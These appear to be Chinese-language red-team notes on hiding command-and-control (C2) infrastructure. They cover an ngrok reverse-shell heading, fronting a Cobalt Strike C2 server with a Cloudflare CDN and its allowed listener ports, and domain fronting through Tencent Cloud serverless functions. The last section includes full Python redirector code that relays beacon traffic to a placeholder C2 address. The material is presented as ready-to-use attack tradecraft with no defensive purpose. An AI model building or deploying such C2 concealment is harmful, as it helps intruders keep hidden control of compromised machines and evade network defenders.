1.Ngrok 穿透反弹 shell 到 Metasploit
来源:https://mp
2.cdn隐藏c2
freenom.com 注册域名
cloudflare.com 注册cdn账号,更改解析即可 别忘了超级ping测试
注意 http port 端口只能设置成以下几个:
80,8080,8880,2052,2082,2086,2095
如果是 https 的监听端口只能设置成以下几个:
443,2053,2083,2087,2096,8443;
因为这是 Cloudflare 仅支持的端口,所以没办法把监听器设置成其他端口。
最后生成一个 exe 上线看看:
来源 https://mp.weixin.qq.com/s/S_REwcYlJGpyiJb3PIwsOQ
3. 域名前置
来源 https://mp.weixin.qq.com/s/lL3UKCRW0cN4SgQIZl7vYw
https://mp.weixin.qq.com/s/gfBE-HaUCgQw8L0QByqTDA
打开腾讯云 控制台 搜索 云函数
新建,什么都不用改,然后点击完成
点击函数名进入管理
在函数代码输入下方的代码,点击部署
# coding: utf8
import json,requests,base64
def main_handler(event, context):
response = {}
path = None
headers = None
try:
C2='http://ip:port'
if 'path' in event.keys():
path=event['path']
if 'headers' in event.keys():
headers=event['headers']
if 'httpMethod' in event.keys() and event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
except Exception as e:
print('error')
print(e)
finally:
return response
切换到触发管理,添加一个触发器
修改路径为 /
进入api 点击服务名
这里的公网域名就是我们的cs上线地址
cs添加监听器
虚拟机上线测试